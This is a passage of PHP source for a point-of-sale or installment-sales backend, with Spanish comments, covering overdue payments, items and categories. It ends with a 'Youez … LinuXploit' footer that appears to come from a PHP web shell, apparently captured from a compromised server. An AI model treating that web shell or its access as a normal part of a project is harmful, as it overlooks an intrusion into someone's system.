				case 5: $payday= "viernes";
				break;
				case 6: $payday= "Sabado";
				break;
				}
				
			//7. pagos atrazados
				$pos7=new pos();
				$data7= $pos7->getPaysOld($data[$i]['sale_id']);
				//fecha del ultimo abono
				$atrazo = $data7[1]['atrazo'];
			
			//8. monto de dinero atrazado o pendiente por pagar
			
				$montoAtrazo = $atrazo * $pay_min;
				if($montoAtrazo > $saldo){
					$montoAtrazo = $saldo;
				}
			
			
			$data[$i]['sale_id']= $data[$i]['sale_id'];
			$data[$i]['id_client']= $data[$i]['id_client'];
			
			//buscar direccion del cliente x contrato
			$cliente = $pos->getByIdClientContract($data[$i]['id_client']);
			
			
			$data[$i]['name_client'] =  $name_client."/".$cliente[1]['direccion'];
			//fecha de venta sigue//////
			$data[$i]['total'] = "$ ".number_format($data[$i]['total']);
			$data[$i]['pay_min']= $pay_min;
			$data[$i]['payday'] =  $payday ;
			$data[$i]['txtpayment_period'] =  $txtpayment_period;	
			$data[$i]['enganche'] =  number_format($enganche);
			$data[$i]['fechaUltimoAbono'] =  $fechaUltimoAbono;
			$data[$i]['fechaPrimerAbono'] =  $fechaPrimerAbono;
			$data[$i]['atrazo'] =  $atrazo;
			$data[$i]['montoAtrazo'] =  number_format($montoAtrazo);
			$data[$i]['balance'] =  number_format($saldo);
			$data[$i]['id_collector']= $name_repartidor;
			$data[$i]['button'] = $button;
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}	
	
	
	//otra funcion diferente 
	if($method == 'get_detail_item')
	{
		$id_item=$_POST['id_item'];
		$pos = new pos();
		$data = $pos->getItem($id_item);
		$array['data'] = $data[1];
		$array['result'] = $data[0];
		echo json_encode($array);
	}
	if($method == 'save_item')
	{
		$iditem = $_POST['id_item'];
		$barcode = $_POST['barcode'];
		$nameitem = $_POST['item_name'];
		$unit= $_POST['unit'];
		$stock = $_POST['stock'];
		$price = $_POST['price'];
		$note = $_POST['note'];
		$crud=$_POST['crud'];
		$pos = new pos();
		if($_POST['crud'] == 'N')
		{
			$array = $pos->saveItem($barcode,$nameitem,$price,$unit,$stock,$note);
			if($array[0] == true)
			{
				$result['id_item'] = $array[2];
			}
			$result['result'] = $array[0];
		}
		else
		{
		   if($price>0){
			   $array = $pos->updateItem($iditem,$nameitem,$price,$unit,$stock,$note);
			   $result['result'] = $array[0];
		   }else{
			  $result['result'] = false;
		   }
			
		}
		$result['error'] = $array[1];
		$result['crud'] = $_POST['crud'];
		echo json_encode($result);
	}
	
	if($method == 'save_category')
	{	
		$fecha = date("Y-m-d h:i:s"); 
		$nameitem = $_POST['item_name'];
		$created_at = $fecha;
		$crud=$_POST['crud'];
		$id=$_POST['cat'];
		
		$pos = new pos();
		if($_POST['crud'] == 'N')
		{
			//GUARDAR
			$array = $pos->saveCategory( $nameitem, $created_at );
			if($array[0] == true)
			{
				$result['id_item'] = $array[2];
			}
			$result['result'] = $array[0];
		}
		
		if($_POST['crud'] == 'E'){
			//ACTUALIZA
			$array = $pos->editCategory( $nameitem,$id );
			$result['result'] = $array[0];
		}
		
		if($_POST['crud'] == 'D'){
			//ACTUALIZA
			$array = $pos->delCategory($id);
			$result['result'] = $array[0];
		}
		
		$result['error'] = $array[1];
		$result['crud'] = $_POST['crud'];
		echo json_encode($result);
	}
	
	
	
	
	if($method == 'delete_item'){
		$id_item=$_POST['id_item'];
		$pos = new pos();
		$array = $pos->deleteItem($id_item);
		$data['result'] = $array[0];
		$data['error'] = $array[1];
		echo json_encode($data);
	}
	
} else {
	exit('No direct access allowed.');
}

Youez - 2016 - github.com/yon3zu
LinuXploit